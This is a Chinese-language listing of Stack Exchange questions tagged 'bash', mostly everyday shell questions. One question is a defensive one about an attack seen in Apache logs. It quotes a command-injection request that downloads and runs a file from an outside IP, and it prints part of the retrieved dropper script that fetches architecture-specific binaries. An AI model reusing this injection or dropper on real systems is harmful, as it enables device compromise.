Questions tagged «bash»

Bash是来自GNU Project的类Unix操作系统的免费外壳。

3
如何取消设置或摆脱bash功能?
如果在bash中设置或导出环境变量,则可以取消设置它。如果在bash中设置别名,则可以取消别名。但是似乎没有失效。 考虑一下这个(简单的)bash函数,例如,将其设置在.bash_aliases文件中并在外壳初始化时读取。 function foo () { echo "bar" ; } 如何从当前的shell中清除此函数定义? (更改初始化文件或重新启动外壳程序不计在内。)



5
在已经运行的现有命令完成后如何运行命令?
如果我启动一个需要很长时间的脚本,那么在启动脚本后我将不可避免地意识到它,并希望一旦脚本完成就可以采取某种警报的方式。 因此,例如,如果我运行: really_long_script.sh 然后按Enter ...完成后如何运行另一个命令?
32 linux  bash  terminal 

7
如果Linux后台进程失败,如何自动重启?
我有一个由init.d脚本在后台执行的进程。例如: case "$1" in start) /bin/myprocess & stop) killall myprocess restart) killall myprocess /bin/myprocess & esac 在某些情况下,myprocess可能失败并返回。有什么(标准)方法可以检测到它的故障并自动重新启动?
32 linux  bash  process  daemon 

6
如何打印将使用rsync更改的文件?
有没有办法让rsync将完整的文件路径打印到所有不同的文件而无需实际传输任何文件? 另外,我需要一种仅基于大小或上次修改时间将文件跨两棵树(通过SSH)进行比较的方法。
32 linux  bash  rsync  diff 

3
多行bash命令中的注释
这个单命令的BASH脚本文件很难理解,所以我想为每个动作写一个注释: echo 'foo' \ | sed 's/d/a/' \ | sed 's/e/b/' \ | sed 's/f/c/' \ > myfile (sed只是一个例子,实际上是混用,trs和awk的组合) 我不想重复行,或者每个注释都离它适用的行很远。 但是同时BASH似乎不允许“在线”注释。 有解决这个问题的优雅方法吗?
32 bash  pipe  comments  sh 

8
在Linux中复制文件,如果目标中确实存在文件,则避免复制
此问题是从Stack Overflow 迁移而来的,因为可以在Super User上回答。 迁移 9年前。 我需要将/ home / user文件夹从一个硬盘复制到另一个硬盘。它有100,000个文件,大小约为10G。 我用 cp -r /origin /destination 有时由于链接断开,权限等问题,我会遇到一些错误。因此,我修复了该错误,并需要重新开始复制​​。 我不知道如何告诉命令“ cp”,一旦它试图再次复制,而不是如果目标文件夹中存在文件,就不会再次复制。
32 linux  bash 


1
有没有一种方法可以使bash对TAB更加友好?
我在Mac和cygwin外壳上都使用bash。总体而言,我对此感到非常满意。 但是我的一个抱怨是它的TAB完成不如Windows命令行TAB完成。 例如,如果有两个具有相同前缀的文件,那么当我尝试完成TAB时,bash会向我发出蜂鸣声。如果我一直钉TAB,那么它最终将向我显示潜在文件的列表。 我绝对喜欢Windows如何在命令行上循环浏览潜在文件。 有没有办法让bash在这方面类似于Windows命令行? 如果没有(我不想切换外壳),我是否在bash中缺少有关TAB完成的信息?有没有更有效的使用方法?


2
这个bash脚本做什么?[尝试失败]
我一直在注意服务器apache日志,最近有以下奇怪的几行: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。 但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西? 无论如何,这里是: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name …



8
bash:如何传递包含特殊字符的命令行参数
我已经为自己编写了一个program需要正则表达式作为输入的Linux程序。 我想在bash外壳中调用程序并将该正则表达式作为命令行参数传递给程序(还有其他命令行参数)。一个典型的正则表达式看起来像 [abc]\_[x|y] 不幸的是,人物[,]以及|在特殊字符bash。因此, program [abc]\_[x|y] anotheragument 不起作用。是否可以通过使用某种转义符或引号等来传递表达式? (调用program "[abc]\_[x|y] anotheragument"也不起作用,因为它将两个参数解释为一个。)

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.